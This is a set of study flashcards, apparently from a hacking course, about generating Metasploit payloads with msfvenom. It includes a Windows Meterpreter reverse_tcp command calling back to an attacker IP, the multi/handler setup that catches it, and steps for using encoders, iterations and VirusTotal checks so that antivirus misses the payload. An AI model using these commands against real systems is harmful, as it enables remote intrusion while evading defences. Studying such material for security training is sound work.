Hacking - Section 10 (Gaining Access (Viruses, Trojans, Payloads) ) Flashcards
What is the msfvenom tool and how to use it?
A tool to create payloads.
msfvenom + -p + type of payload + LHOST + LPORT + -f + -o
ex - msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= (kali linux IP) LPORT=5555 -f exe (type of archive) + -o (name + type of archive)
How to use the archive created on msfvenom?
Inniciate it on msfconsole:
- use exploit/multi/handler
Change the payload, LHOST and LPORT to match does of the exploit you created.
- set payload + type you created, set LHOST, set LPORT
How to check the available formats to an archive?
msfvenom - -list formats
What’s the website that tells us about our virus?
Virustotal, it will tell how many antivirus will detect it.
How to define the archtecture of the virus?
Use -a + arch when creating it.
ex - LPORT 4444 -a x64
What are encoders and how to use them?
A code that can help the virus pass by some antivirus.
msfvenom - -list encoders (to find them)
-e + encoders u copied
 What does the -i command do?
It specifies the number of interations that will encode the payload.
The bigger the number the bigger the size, but it’ll become less detectable.
ex - -i 15
What does the - -platform command do?
Defines the platform that the payload will operate.
ex: - -platform windows
What does the -n command do?
Prepend a nopsled of size on to the payload.
nopsled - a instructions for the processor to not do anything.
ex - -n 500